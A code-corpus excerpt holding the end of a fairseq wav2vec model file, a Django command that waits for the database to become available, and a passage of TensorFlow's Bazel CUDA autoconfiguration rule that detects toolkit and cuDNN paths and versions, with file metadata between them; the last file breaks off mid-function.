negs.view(fsz, bsz, self.n_negatives, tsz).permute(2, 1, 0, 3) # to NxBxCxT return negs def forward(self, x, y): negatives = self.sample_negatives(y) y = y.unsqueeze(0) targets = torch.cat([y, negatives], dim=0) x = x.unsqueeze(-1) x = self.project_to_steps(x) # BxCxTxS x = self.dropout(x) x = x.unsqueeze(0).expand(targets.size(0), -1, -1, -1, -1) copies, bsz, dim, tsz, steps = x.shape steps = min(steps, tsz - self.offset) predictions = x.new(bsz * copies * (tsz - self.offset + 1) * steps - ((steps + 1) * steps // 2) * copies * bsz) labels = torch.zeros_like(predictions) weights = torch.full_like(labels, 1 / self.n_negatives) if self.balanced_classes else None start = end = 0 for i in range(steps): offset = i + self.offset end = start + (tsz - offset) * bsz * copies pos_num = (end - start) // copies predictions[start:end] = (x[..., :-offset, i] * targets[..., offset:]).sum(dim=2).flatten() labels[start:start + pos_num] = 1. if weights is not None: weights[start:start + pos_num] = 1. start = end assert end == predictions.numel(), '{} != {}'.format(end, predictions.numel()) if weights is not None: labels = (labels, weights) return predictions, labels @register_model_architecture('wav2vec', 'wav2vec') def base_wav2vec_architecture(args): conv_feature_layers = '[(512, 10, 5)]' conv_feature_layers += ' + [(512, 8, 4)]' conv_feature_layers += ' + [(512, 4, 2)] * 3' args.conv_feature_layers = getattr(args, 'conv_feature_layers', conv_feature_layers) args.conv_aggregator_layers = getattr(args, 'conv_aggregator_layers', '[(512, 3, 1)] * 9') args.prediction_steps = getattr(args, 'prediction_steps', 12) args.num_negatives = getattr(args, 'num_negatives', 1) args.sample_distance = getattr(args, 'sample_distance', None) args.cross_sample_negatives = getattr(args, 'cross_sample_negatives', False) args.dropout = getattr(args, 'dropout', 0.) args.dropout_features = getattr(args, 'dropout_features', 0.) args.dropout_agg = getattr(args, 'dropout_agg', 0.) args.encoder = getattr(args, 'encoder', 'cnn') args.aggregator = getattr(args, 'aggregator', 'cnn') args.skip_connections_feat = getattr(args, 'skip_connections_feat', False) args.skip_connections_agg = getattr(args, 'skip_connections_agg', False) args.residual_scale = getattr(args, 'residual_scale', 0.5) args.gru_dim = getattr(args, 'gru_dim', 512) args.no_conv_bias = getattr(args, 'no_conv_bias', False) args.agg_zero_pad = getattr(args, 'agg_zero_pad', False) args.log_compression = getattr(args, 'log_compression', False) args.balanced_classes = getattr(args, 'balanced_classes', False) args.project_features = getattr(args, 'project_features', 'none') args.non_affine_group_norm = getattr(args, 'non_affine_group_norm', False) args.offset = getattr(args, 'offset', 'auto')

38.793249

119

0.596422

d737774990b5c16b6c0a1030eb607d172755666f

670

py

Python

app/core/management/commands/wait_for_db.py

qwerty1199/recipe-app-api

36acf8181513548b06bd371221182ac32964a49b

[ "MIT" ]

null

app/core/management/commands/wait_for_db.py

qwerty1199/recipe-app-api

36acf8181513548b06bd371221182ac32964a49b

[ "MIT" ]

null

app/core/management/commands/wait_for_db.py

qwerty1199/recipe-app-api

36acf8181513548b06bd371221182ac32964a49b

[ "MIT" ]

null

import time from django.db import connections from django.db.utils import OperationalError from django.core.management.base import BaseCommand class Command(BaseCommand): """Django command to pause execution until the db is available""" def handle(self, *args, **options): self.stdout.write('Waiting for database...') db_conn = None while not db_conn: try: db_conn = connections['default'] except OperationalError: self.stdout.write('Database unavailable, wait for 1 second...') time.sleep(1) self.stdout.write(self.style.SUCCESS('Database available!'))

31.904762

79

0.649254

83a377dde5c74806855de4264ebf0c2d557bffa0

40,788

bzl

Python

third_party/gpus/cuda_configure.bzl

shreyanshp/tensorflow

77867318b3c89e38828e787f3948ccae21bc0693

[ "Apache-2.0" ]

null

third_party/gpus/cuda_configure.bzl

shreyanshp/tensorflow

77867318b3c89e38828e787f3948ccae21bc0693

[ "Apache-2.0" ]

null

third_party/gpus/cuda_configure.bzl

shreyanshp/tensorflow

77867318b3c89e38828e787f3948ccae21bc0693

[ "Apache-2.0" ]

null

# -*- Python -*- """Repository rule for CUDA autoconfiguration. `cuda_configure` depends on the following environment variables: * `TF_NEED_CUDA`: Whether to enable building with CUDA. * `GCC_HOST_COMPILER_PATH`: The GCC host compiler path * `TF_CUDA_CLANG`: Whether to use clang as a cuda compiler. * `CLANG_CUDA_COMPILER_PATH`: The clang compiler path that will be used for both host and device code compilation if TF_CUDA_CLANG is 1. * `CUDA_TOOLKIT_PATH`: The path to the CUDA toolkit. Default is `/usr/local/cuda`. * `TF_CUDA_VERSION`: The version of the CUDA toolkit. If this is blank, then use the system default. * `TF_CUDNN_VERSION`: The version of the cuDNN library. * `CUDNN_INSTALL_PATH`: The path to the cuDNN library. Default is `/usr/local/cuda`. * `TF_CUDA_COMPUTE_CAPABILITIES`: The CUDA compute capabilities. Default is `3.5,5.2`. """ _GCC_HOST_COMPILER_PATH = "GCC_HOST_COMPILER_PATH" _CLANG_CUDA_COMPILER_PATH = "CLANG_CUDA_COMPILER_PATH" _CUDA_TOOLKIT_PATH = "CUDA_TOOLKIT_PATH" _TF_CUDA_VERSION = "TF_CUDA_VERSION" _TF_CUDNN_VERSION = "TF_CUDNN_VERSION" _CUDNN_INSTALL_PATH = "CUDNN_INSTALL_PATH" _TF_CUDA_COMPUTE_CAPABILITIES = "TF_CUDA_COMPUTE_CAPABILITIES" _TF_CUDA_CONFIG_REPO = "TF_CUDA_CONFIG_REPO" _DEFAULT_CUDA_VERSION = "" _DEFAULT_CUDNN_VERSION = "" _DEFAULT_CUDA_TOOLKIT_PATH = "/usr/local/cuda" _DEFAULT_CUDNN_INSTALL_PATH = "/usr/local/cuda" _DEFAULT_CUDA_COMPUTE_CAPABILITIES = ["3.5", "5.2"] # TODO(dzc): Once these functions have been factored out of Bazel's # cc_configure.bzl, load them from @bazel_tools instead. # BEGIN cc_configure common functions. def find_cc(repository_ctx): """Find the C++ compiler.""" # On Windows, we use Bazel's MSVC CROSSTOOL for GPU build # Return a dummy value for GCC detection here to avoid error if _is_windows(repository_ctx): return "/use/--config=win-cuda --cpu=x64_windows_msvc/instead" if _use_cuda_clang(repository_ctx): target_cc_name = "clang" cc_path_envvar = _CLANG_CUDA_COMPILER_PATH else: target_cc_name = "gcc" cc_path_envvar = _GCC_HOST_COMPILER_PATH cc_name = target_cc_name if cc_path_envvar in repository_ctx.os.environ: cc_name_from_env = repository_ctx.os.environ[cc_path_envvar].strip() if cc_name_from_env: cc_name = cc_name_from_env if cc_name.startswith("/"): # Absolute path, maybe we should make this supported by our which function. return cc_name cc = repository_ctx.which(cc_name) if cc == None: fail(("Cannot find {}, either correct your path or set the {}" + " environment variable").format(target_cc_name, cc_path_envvar)) return cc _INC_DIR_MARKER_BEGIN = "#include <...>" # OSX add " (framework directory)" at the end of line, strip it. _OSX_FRAMEWORK_SUFFIX = " (framework directory)" _OSX_FRAMEWORK_SUFFIX_LEN = len(_OSX_FRAMEWORK_SUFFIX) def _cxx_inc_convert(path): """Convert path returned by cc -E xc++ in a complete path.""" path = path.strip() if path.endswith(_OSX_FRAMEWORK_SUFFIX): path = path[:-_OSX_FRAMEWORK_SUFFIX_LEN].strip() return path def _get_cxx_inc_directories_impl(repository_ctx, cc, lang_is_cpp): """Compute the list of default C or C++ include directories.""" if lang_is_cpp: lang = "c++" else: lang = "c" # TODO: We pass -no-canonical-prefixes here to match the compiler flags, # but in cuda_clang CROSSTOOL file that is a `feature` and we should # handle the case when it's disabled and no flag is passed result = repository_ctx.execute([cc, "-no-canonical-prefixes", "-E", "-x" + lang, "-", "-v"]) index1 = result.stderr.find(_INC_DIR_MARKER_BEGIN) if index1 == -1: return [] index1 = result.stderr.find("\n", index1) if index1 == -1: return [] index2 = result.stderr.rfind("\n ") if index2 == -1 or index2 < index1: return [] index2 = result.stderr.find("\n", index2 + 1) if index2 == -1: inc_dirs = result.stderr[index1 + 1:] else: inc_dirs = result.stderr[index1 + 1:index2].strip() return [repository_ctx.path(_cxx_inc_convert(p)) for p in inc_dirs.split("\n")] def get_cxx_inc_directories(repository_ctx, cc): """Compute the list of default C and C++ include directories.""" # For some reason `clang -xc` sometimes returns include paths that are # different from the ones from `clang -xc++`. (Symlink and a dir) # So we run the compiler with both `-xc` and `-xc++` and merge resulting lists includes_cpp = _get_cxx_inc_directories_impl(repository_ctx, cc, True) includes_c = _get_cxx_inc_directories_impl(repository_ctx, cc, False) includes_cpp_set = set(includes_cpp) return includes_cpp + [inc for inc in includes_c if inc not in includes_cpp_set] def auto_configure_fail(msg): """Output failure message when cuda configuration fails.""" red = "\033[0;31m" no_color = "\033[0m" fail("\n%sCuda Configuration Error:%s %s\n" % (red, no_color, msg)) # END cc_configure common functions (see TODO above). def _host_compiler_includes(repository_ctx, cc): """Generates the cxx_builtin_include_directory entries for gcc inc dirs. Args: repository_ctx: The repository context. cc: The path to the gcc host compiler. Returns: A string containing the cxx_builtin_include_directory for each of the gcc host compiler include directories, which can be added to the CROSSTOOL file. """ inc_dirs = get_cxx_inc_directories(repository_ctx, cc) inc_entries = [] for inc_dir in inc_dirs: inc_entries.append(" cxx_builtin_include_directory: \"%s\"" % inc_dir) return "\n".join(inc_entries) def _cuda_include_path(repository_ctx, cuda_config): """Generates the cxx_builtin_include_directory entries for cuda inc dirs. Args: repository_ctx: The repository context. cc: The path to the gcc host compiler. Returns: A string containing the cxx_builtin_include_directory for each of the gcc host compiler include directories, which can be added to the CROSSTOOL file. """ nvcc_path = repository_ctx.path("%s/bin/nvcc%s" % (cuda_config.cuda_toolkit_path, ".exe" if cuda_config.cpu_value == "Windows" else "")) result = repository_ctx.execute([nvcc_path, '-v', '/dev/null', '-o', '/dev/null']) target_dir = "" for one_line in result.stderr.splitlines(): if one_line.startswith('#$ _TARGET_DIR_='): target_dir = (cuda_config.cuda_toolkit_path + '/' + one_line.replace('#$ _TARGET_DIR_=', '') + "/include") inc_entries = [] if target_dir != "": inc_entries.append(" cxx_builtin_include_directory: \"%s\"" % target_dir) default_include = cuda_config.cuda_toolkit_path + '/include' inc_entries.append(" cxx_builtin_include_directory: \"%s\"" % default_include) return "\n".join(inc_entries) def _enable_cuda(repository_ctx): if "TF_NEED_CUDA" in repository_ctx.os.environ: enable_cuda = repository_ctx.os.environ["TF_NEED_CUDA"].strip() return enable_cuda == "1" return False def _cuda_toolkit_path(repository_ctx): """Finds the cuda toolkit directory. Args: repository_ctx: The repository context. Returns: A speculative real path of the cuda toolkit install directory. """ cuda_toolkit_path = _DEFAULT_CUDA_TOOLKIT_PATH if _CUDA_TOOLKIT_PATH in repository_ctx.os.environ: cuda_toolkit_path = repository_ctx.os.environ[_CUDA_TOOLKIT_PATH].strip() if not repository_ctx.path(cuda_toolkit_path).exists: auto_configure_fail("Cannot find cuda toolkit path.") return str(repository_ctx.path(cuda_toolkit_path).realpath) def _cudnn_install_basedir(repository_ctx): """Finds the cudnn install directory.""" cudnn_install_path = _DEFAULT_CUDNN_INSTALL_PATH if _CUDNN_INSTALL_PATH in repository_ctx.os.environ: cudnn_install_path = repository_ctx.os.environ[_CUDNN_INSTALL_PATH].strip() if not repository_ctx.path(cudnn_install_path).exists: auto_configure_fail("Cannot find cudnn install path.") return cudnn_install_path def _matches_version(environ_version, detected_version): """Checks whether the user-specified version matches the detected version. This function performs a weak matching so that if the user specifies only the major or major and minor versions, the versions are still considered matching if the version parts match. To illustrate: environ_version detected_version result ----------------------------------------- 5.1.3 5.1.3 True 5.1 5.1.3 True 5 5.1 True 5.1.3 5.1 False 5.2.3 5.1.3 False Args: environ_version: The version specified by the user via environment variables. detected_version: The version autodetected from the CUDA installation on the system. Returns: True if user-specified version matches detected version and False otherwise. """ environ_version_parts = environ_version.split(".") detected_version_parts = detected_version.split(".") if len(detected_version_parts) < len(environ_version_parts): return False for i, part in enumerate(detected_version_parts): if i >= len(environ_version_parts): break if part != environ_version_parts[i]: return False return True _NVCC_VERSION_PREFIX = "Cuda compilation tools, release " def _cuda_version(repository_ctx, cuda_toolkit_path, cpu_value): """Detects the version of CUDA installed on the system. Args: repository_ctx: The repository context. cuda_toolkit_path: The CUDA install directory. Returns: String containing the version of CUDA. """ # Run nvcc --version and find the line containing the CUDA version. nvcc_path = repository_ctx.path("%s/bin/nvcc%s" % (cuda_toolkit_path, ".exe" if cpu_value == "Windows" else "")) if not nvcc_path.exists: auto_configure_fail("Cannot find nvcc at %s" % str(nvcc_path)) result = repository_ctx.execute([str(nvcc_path), '--version']) if result.stderr: auto_configure_fail("Error running nvcc --version: %s" % result.stderr) lines = result.stdout.splitlines() version_line = lines[len(lines) - 1] if version_line.find(_NVCC_VERSION_PREFIX) == -1: auto_configure_fail( "Could not parse CUDA version from nvcc --version. Got: %s" % result.stdout) # Parse the CUDA version from the line containing the CUDA version. prefix_removed = version_line.replace(_NVCC_VERSION_PREFIX, '') parts = prefix_removed.split(",") if len(parts) != 2 or len(parts[0]) < 2: auto_configure_fail( "Could not parse CUDA version from nvcc --version. Got: %s" % result.stdout) full_version = parts[1].strip() if full_version.startswith('V'): full_version = full_version[1:] # Check whether TF_CUDA_VERSION was set by the user and fail if it does not # match the detected version. environ_version = "" if _TF_CUDA_VERSION in repository_ctx.os.environ: environ_version = repository_ctx.os.environ[_TF_CUDA_VERSION].strip() if environ_version and not _matches_version(environ_version, full_version): auto_configure_fail( ("CUDA version detected from nvcc (%s) does not match " + "TF_CUDA_VERSION (%s)") % (full_version, environ_version)) # We only use the version consisting of the major and minor version numbers. version_parts = full_version.split('.') if len(version_parts) < 2: auto_configure_fail("CUDA version detected from nvcc (%s) is incomplete.") if cpu_value == "Windows": version = "64_%s%s" % (version_parts[0], version_parts[1]) else: version = "%s.%s" % (version_parts[0], version_parts[1]) return version _DEFINE_CUDNN_MAJOR = "#define CUDNN_MAJOR" _DEFINE_CUDNN_MINOR = "#define CUDNN_MINOR" _DEFINE_CUDNN_PATCHLEVEL = "#define CUDNN_PATCHLEVEL" def _find_cuda_define(repository_ctx, cudnn_header_dir, define): """Returns the value of a #define in cudnn.h Greps through cudnn.h and returns the value of the specified #define. If the #define is not found, then raise an error. Args: repository_ctx: The repository context. cudnn_header_dir: The directory containing the cuDNN header. define: The #define to search for. Returns: The value of the #define found in cudnn.h. """ # Confirm location of cudnn.h and grep for the line defining CUDNN_MAJOR. cudnn_h_path = repository_ctx.path("%s/cudnn.h" % cudnn_header_dir) if not cudnn_h_path.exists: auto_configure_fail("Cannot find cudnn.h at %s" % str(cudnn_h_path)) result = repository_ctx.execute(["grep", "--color=never", "-E", define, str(cudnn_h_path)]) if result.stderr: auto_configure_fail("Error reading %s: %s" % (result.stderr, str(cudnn_h_path))) # Parse the cuDNN major version from the line defining CUDNN_MAJOR lines = result.stdout.splitlines() if len(lines) == 0 or lines[0].find(define) == -1: auto_configure_fail("Cannot find line containing '%s' in %s" % (define, str(cudnn_h_path))) return lines[0].replace(define, "").strip() def _cudnn_version(repository_ctx, cudnn_install_basedir, cpu_value): """Detects the version of cuDNN installed on the system. Args: repository_ctx: The repository context. cpu_value: The name of the host operating system. cudnn_install_basedir: The cuDNN install directory. Returns: A string containing the version of cuDNN. """ cudnn_header_dir = _find_cudnn_header_dir(repository_ctx, cudnn_install_basedir) major_version = _find_cuda_define(repository_ctx, cudnn_header_dir, _DEFINE_CUDNN_MAJOR) minor_version = _find_cuda_define(repository_ctx, cudnn_header_dir, _DEFINE_CUDNN_MINOR) patch_version = _find_cuda_define(repository_ctx, cudnn_header_dir, _DEFINE_CUDNN_PATCHLEVEL) full_version = "%s.%s.%s" % (major_version, minor_version, patch_version) # Check whether TF_CUDNN_VERSION was set by the user and fail if it does not # match the detected version. environ_version = "" if _TF_CUDNN_VERSION in repository_ctx.os.environ: environ_version = repository_ctx.os.environ[_TF_CUDNN_VERSION].strip() if environ_version and not _matches_version(environ_version, full_version): cudnn_h_path = repository_ctx.path("%s/include/cudnn.h" % cudnn_install_basedir) auto_configure_fail( ("cuDNN version detected from %s (%s) does not match " + "TF_CUDNN_VERSION (%s)") % (str(cudnn_h_path), full_version, environ_version)) # We only use the major version since we use the libcudnn libraries that are # only versioned with the major version (e.g. libcudnn.so.5). version = major_version if cpu_value == "Windows": version = "64_" + version return version def _compute_capabilities(repository_ctx): """Returns a list of strings representing cuda compute capabilities.""" if _TF_CUDA_COMPUTE_CAPABILITIES not in repository_ctx.os.environ: return _DEFAULT_CUDA_COMPUTE_CAPABILITIES capabilities_str = repository_ctx.os.environ[_TF_CUDA_COMPUTE_CAPABILITIES] capabilities = capabilities_str.split(",") for capability in capabilities: # Workaround for Skylark's lack of support for regex. This check should # be equivalent to checking: # if re.match("[0-9]+.[0-9]+", capability) == None: parts = capability.split(".") if len(parts) != 2 or not parts[0].isdigit() or not parts[1].isdigit(): auto_configure_fail("Invalid compute capability: %s" % capability) return capabilities def _cpu_value(repository_ctx): """Returns the name of the host operating system. Args: repository_ctx: The repository context. Returns: A string containing the name of the host operating system. """ os_name = repository_ctx.os.name.lower() if os_name.startswith("mac os"): return "Darwin" if os_name.find("windows") != -1: return "Windows" result = repository_ctx.execute(["uname", "-s"]) return result.stdout.strip() def _is_windows(repository_ctx): """Returns true if the host operating system is windows.""" return _cpu_value(repository_ctx) == "Windows" def _lib_name(lib, cpu_value, version="", static=False): """Constructs the platform-specific name of a library. Args: lib: The name of the library, such as "cudart" cpu_value: The name of the host operating system. version: The version of the library. static: True the library is static or False if it is a shared object. Returns: The platform-specific name of the library. """ if cpu_value in ("Linux", "FreeBSD"): if static: return "lib%s.a" % lib else: if version: version = ".%s" % version return "lib%s.so%s" % (lib, version) elif cpu_value == "Windows": return "%s.lib" % lib elif cpu_value == "Darwin": if static: return "lib%s.a" % lib else: if version: version = ".%s" % version return "lib%s%s.dylib" % (lib, version) else: auto_configure_fail("Invalid cpu_value: %s" % cpu_value) def _find_cuda_lib(lib, repository_ctx, cpu_value, basedir, version="", static=False): """Finds the given CUDA or cuDNN library on the system. Args: lib: The name of the library, such as "cudart" repository_ctx: The repository context. cpu_value: The name of the host operating system. basedir: The install directory of CUDA or cuDNN. version: The version of the library. static: True if static library, False if shared object. Returns: Returns a struct with the following fields: file_name: The basename of the library found on the system. path: The full path to the library. """ file_name = _lib_name(lib, cpu_value, version, static) if cpu_value == "Linux": path = repository_ctx.path("%s/lib64/%s" % (basedir, file_name)) if path.exists: return struct(file_name=file_name, path=str(path.realpath)) path = repository_ctx.path("%s/lib64/stubs/%s" % (basedir, file_name)) if path.exists: return struct(file_name=file_name, path=str(path.realpath)) path = repository_ctx.path( "%s/lib/x86_64-linux-gnu/%s" % (basedir, file_name)) if path.exists: return struct(file_name=file_name, path=str(path.realpath)) elif cpu_value == "Windows": path = repository_ctx.path("%s/lib/x64/%s" % (basedir, file_name)) if path.exists: return struct(file_name=file_name, path=str(path.realpath)) path = repository_ctx.path("%s/lib/%s" % (basedir, file_name)) if path.exists: return struct(file_name=file_name, path=str(path.realpath)) path = repository_ctx.path("%s/%s" % (basedir, file_name)) if path.exists: return struct(file_name=file_name, path=str(path.realpath)) auto_configure_fail("Cannot find cuda library %s" % file_name) def _find_cupti_lib(repository_ctx, cuda_config): """Finds the cupti library on the system. On most systems, the cupti library is not installed in the same directory as the other CUDA libraries but rather in a special extras/CUPTI directory. Args: repository_ctx: The repository context. cuda_config: The cuda configuration as returned by _get_cuda_config. Returns: Returns a struct with the following fields: file_name: The basename of the library found on the system. path: The full path to the library. """ file_name = _lib_name("cupti", cuda_config.cpu_value, cuda_config.cuda_version) if cuda_config.cpu_value == "Linux": path = repository_ctx.path( "%s/extras/CUPTI/lib64/%s" % (cuda_config.cuda_toolkit_path, file_name)) if path.exists: return struct(file_name=file_name, path=str(path.realpath)) path = repository_ctx.path( "%s/lib/x86_64-linux-gnu/%s" % (cuda_config.cuda_toolkit_path, file_name)) if path.exists: return struct(file_name=file_name, path=str(path.realpath)) elif cuda_config.cpu_value == "Windows": path = repository_ctx.path( "%s/extras/CUPTI/libx64/%s" % (cuda_config.cuda_toolkit_path, file_name)) if path.exists: return struct(file_name=file_name, path=str(path.realpath)) path = repository_ctx.path( "%s/extras/CUPTI/lib/%s" % (cuda_config.cuda_toolkit_path, file_name)) if path.exists: return struct(file_name=file_name, path=str(path.realpath)) path = repository_ctx.path( "%s/lib/%s" % (cuda_config.cuda_toolkit_path, file_name)) if path.exists: return struct(file_name=file_name, path=str(path.realpath)) auto_configure_fail("Cannot find cupti library %s" % file_name) def _find_libs(repository_ctx, cuda_config): """Returns the CUDA and cuDNN libraries on the system. Args: repository_ctx: The repository context. cuda_config: The CUDA config as returned by _get_cuda_config Returns: Map of library names to structs of filename and path as returned by _find_cuda_lib and _find_cupti_lib. """ cudnn_version = cuda_config.cudnn_version cudnn_ext = ".%s" % cudnn_version if cudnn_version else "" cpu_value = cuda_config.cpu_value return { "cuda": _find_cuda_lib("cuda", repository_ctx, cpu_value, cuda_config.cuda_toolkit_path), "cudart": _find_cuda_lib( "cudart", repository_ctx, cpu_value, cuda_config.cuda_toolkit_path, cuda_config.cuda_version), "cudart_static": _find_cuda_lib( "cudart_static", repository_ctx, cpu_value, cuda_config.cuda_toolkit_path, cuda_config.cuda_version, static=True), "cublas": _find_cuda_lib( "cublas", repository_ctx, cpu_value, cuda_config.cuda_toolkit_path, cuda_config.cuda_version), "cusolver": _find_cuda_lib( "cusolver", repository_ctx, cpu_value, cuda_config.cuda_toolkit_path, cuda_config.cuda_version), "curand": _find_cuda_lib( "curand", repository_ctx, cpu_value, cuda_config.cuda_toolkit_path, cuda_config.cuda_version), "cufft": _find_cuda_lib( "cufft", repository_ctx, cpu_value, cuda_config.cuda_toolkit_path, cuda_config.cuda_version), "cudnn": _find_cuda_lib( "cudnn", repository_ctx, cpu_value, cuda_config.cudnn_install_basedir, cuda_config.cudnn_version), "cupti": _find_cupti_lib(repository_ctx, cuda_config), } def _find_cudnn_header_dir(repository_ctx, cudnn_install_basedir): """Returns the path to the directory containing cudnn.h Args: repository_ctx: The repository context. cudnn_install_basedir: The cudnn install directory as returned by _cudnn_install_basedir. Returns: The path of the directory containing the cudnn header. """ if repository_ctx.path(cudnn_install_basedir + "/cudnn.h").exists: return cudnn_install_basedir if repository_ctx.path(cudnn_install_basedir + "/include/cudnn.h").exists: return cudnn_install_basedir + "/include" if repository_ctx.path("/usr/include/cudnn.h").exists: return "/usr/include" auto_configure_fail("Cannot find cudnn.h under %s" % cudnn_install_basedir) def _find_cudnn_lib_path(repository_ctx, cudnn_install_basedir, symlink_files): """Returns the path to the directory containing libcudnn Args: repository_ctx: The repository context. cudnn_install_basedir: The cudnn install dir as returned by _cudnn_install_basedir. symlink_files: The symlink files as returned by _cuda_symlink_files. Returns: The path of the directory containing the cudnn libraries. """ lib_dir = cudnn_install_basedir + "/" + symlink_files.cuda_dnn_lib if repository_ctx.path(lib_dir).exists: return lib_dir alt_lib_dir = cudnn_install_basedir + "/" + symlink_files.cuda_dnn_lib_alt if repository_ctx.path(alt_lib_dir).exists: return alt_lib_dir auto_configure_fail("Cannot find %s or %s under %s" % (symlink_files.cuda_dnn_lib, symlink_files.cuda_dnn_lib_alt, cudnn_install_basedir)) def _cudart_static_linkopt(cpu_value): """Returns additional platform-specific linkopts for cudart.""" return "" if cpu_value == "Darwin" else "\"-lrt\"," def _get_cuda_config(repository_ctx): """Detects and returns information about the CUDA installation on the system. Args: repository_ctx: The repository context. Returns: A struct containing the following fields: cuda_toolkit_path: The CUDA toolkit installation directory. cudnn_install_basedir: The cuDNN installation directory. cuda_version: The version of CUDA on the system. cudnn_version: The version of cuDNN on the system. compute_capabilities: A list of the system's CUDA compute capabilities. cpu_value: The name of the host operating system. """ cpu_value = _cpu_value(repository_ctx) cuda_toolkit_path = _cuda_toolkit_path(repository_ctx) cuda_version = _cuda_version(repository_ctx, cuda_toolkit_path, cpu_value) cudnn_install_basedir = _cudnn_install_basedir(repository_ctx) cudnn_version = _cudnn_version(repository_ctx, cudnn_install_basedir, cpu_value) return struct( cuda_toolkit_path = cuda_toolkit_path, cudnn_install_basedir = cudnn_install_basedir, cuda_version = cuda_version, cudnn_version = cudnn_version, compute_capabilities = _compute_capabilities(repository_ctx), cpu_value = cpu_value) def _tpl(repository_ctx, tpl, substitutions={}, out=None): if not out: out = tpl.replace(":", "/") repository_ctx.template( out, Label("//third_party/gpus/%s.tpl" % tpl), substitutions) def _file(repository_ctx, label): repository_ctx.template( label.replace(":", "/"), Label("//third_party/gpus/%s.tpl" % label), {}) _DUMMY_CROSSTOOL_BZL_FILE = """ def error_gpu_disabled(): fail("ERROR: Building with --config=cuda but TensorFlow is not configured " + "to build with GPU support. Please re-run ./configure and enter 'Y' " + "at the prompt to build with GPU support.") native.genrule( name = "error_gen_crosstool", outs = ["CROSSTOOL"], cmd = "echo 'Should not be run.' && exit 1", ) native.filegroup( name = "crosstool", srcs = [":CROSSTOOL"], output_licenses = ["unencumbered"], ) """ _DUMMY_CROSSTOOL_BUILD_FILE = """ load("//crosstool:error_gpu_disabled.bzl", "error_gpu_disabled") error_gpu_disabled() """ def _create_dummy_repository(repository_ctx): cpu_value = _cpu_value(repository_ctx) # Set up BUILD file for cuda/. _tpl(repository_ctx, "cuda:build_defs.bzl", { "%{cuda_is_configured}": "False", "%{cuda_extra_copts}": "[]" }) _tpl(repository_ctx, "cuda:BUILD", { "%{cuda_driver_lib}": _lib_name("cuda", cpu_value), "%{cudart_static_lib}": _lib_name("cudart_static", cpu_value, static=True), "%{cudart_static_linkopt}": _cudart_static_linkopt(cpu_value), "%{cudart_lib}": _lib_name("cudart", cpu_value), "%{cublas_lib}": _lib_name("cublas", cpu_value), "%{cusolver_lib}": _lib_name("cusolver", cpu_value), "%{cudnn_lib}": _lib_name("cudnn", cpu_value), "%{cufft_lib}": _lib_name("cufft", cpu_value), "%{curand_lib}": _lib_name("curand", cpu_value), "%{cupti_lib}": _lib_name("cupti", cpu_value), "%{cuda_include_genrules}": '', "%{cuda_headers}": '', }) # Create dummy files for the CUDA toolkit since they are still required by # tensorflow/core/platform/default/build_config:cuda. repository_ctx.file("cuda/include/cuda.h", "") repository_ctx.file("cuda/include/cublas.h", "") repository_ctx.file("cuda/include/cudnn.h", "") repository_ctx.file("cuda/extras/CUPTI/include/cupti.h", "") repository_ctx.file("cuda/lib/%s" % _lib_name("cuda", cpu_value)) repository_ctx.file("cuda/lib/%s" % _lib_name("cudart", cpu_value)) repository_ctx.file("cuda/lib/%s" % _lib_name("cudart_static", cpu_value)) repository_ctx.file("cuda/lib/%s" % _lib_name("cublas", cpu_value)) repository_ctx.file("cuda/lib/%s" % _lib_name("cusolver", cpu_value)) repository_ctx.file("cuda/lib/%s" % _lib_name("cudnn", cpu_value)) repository_ctx.file("cuda/lib/%s" % _lib_name("curand", cpu_value)) repository_ctx.file("cuda/lib/%s" % _lib_name("cufft", cpu_value)) repository_ctx.file("cuda/lib/%s" % _lib_name("cupti", cpu_value)) # Set up cuda_config.h, which is used by # tensorflow/stream_executor/dso_loader.cc. _tpl(repository_ctx, "cuda:cuda_config.h", { "%{cuda_version}": _DEFAULT_CUDA_VERSION, "%{cudnn_version}": _DEFAULT_CUDNN_VERSION, "%{cuda_compute_capabilities}": ",".join([ "CudaVersion(\"%s\")" % c for c in _DEFAULT_CUDA_COMPUTE_CAPABILITIES]), "%{cuda_toolkit_path}": _DEFAULT_CUDA_TOOLKIT_PATH, }) # If cuda_configure is not configured to build with GPU support, and the user # attempts to build with --config=cuda, add a dummy build rule to intercept # this and fail with an actionable error message. repository_ctx.file("crosstool/error_gpu_disabled.bzl", _DUMMY_CROSSTOOL_BZL_FILE) repository_ctx.file("crosstool/BUILD", _DUMMY_CROSSTOOL_BUILD_FILE) def _execute(repository_ctx, cmdline, error_msg=None, error_details=None, empty_stdout_fine=False): """Executes an arbitrary shell command. Args: repository_ctx: the repository_ctx object cmdline: list of strings, the command to execute error_msg: string, a summary of the error if the command fails error_details: string, details about the error or steps to fix it empty_stdout_fine: bool, if True, an empty stdout result is fine, otherwise it's an error Return: the result of repository_ctx.execute(cmdline) """ result = repository_ctx.execute(cmdline) if result.stderr or not (empty_stdout_fine or result.stdout): auto_configure_fail( "\n".join([ error_msg.strip() if error_msg else "Repository command failed", result.stderr.strip(), error_details if error_details else ""])) return result def _norm_path(path): """Returns a path with '/' and remove the trailing slash.""" path = path.replace("\\", "/") if path[-1] == "/": path = path[:-1] return path def _symlink_genrule_for_dir(repository_ctx, src_dir, dest_dir, genrule_name, src_files = [], dest_files = []): """Returns a genrule to symlink(or copy if on Windows) a set of files. If src_dir is passed, files will be read from the given directory; otherwise we assume files are in src_files and dest_files """ if src_dir != None: src_dir = _norm_path(src_dir) dest_dir = _norm_path(dest_dir) files = _read_dir(repository_ctx, src_dir) # Create a list with the src_dir stripped to use for outputs. dest_files = files.replace(src_dir, '').splitlines() src_files = files.splitlines() command = [] outs = [] for i in range(len(dest_files)): if dest_files[i] != "": # If we have only one file to link we do not want to use the dest_dir, as # $(@D) will include the full path to the file. dest = '$(@D)/' + dest_dir + dest_files[i] if len(dest_files) != 1 else '$(@D)/' + dest_files[i] # On Windows, symlink is not supported, so we just copy all the files. cmd = 'cp -f' if _is_windows(repository_ctx) else 'ln -s' command.append(cmd + ' "%s" "%s"' % (src_files[i] , dest)) outs.append(' "' + dest_dir + dest_files[i] + '",') genrule = _genrule(src_dir, genrule_name, " && ".join(command), "\n".join(outs)) return genrule def _genrule(src_dir, genrule_name, command, outs): """Returns a string with a genrule. Genrule executes the given command and produces the given outputs. """ return ( 'genrule(\n' + ' name = "' + genrule_name + '",\n' + ' outs = [\n' + outs + ' ],\n' + ' cmd = """\n' + command + ' """,\n' + ')\n\n' ) def _read_dir(repository_ctx, src_dir): """Returns a string with all files in a directory. Finds all files inside a directory, traversing subfolders and following symlinks. The returned string contains the full path of all files separated by line breaks. """ if _is_windows(repository_ctx): src_dir = src_dir.replace("/", "\\") 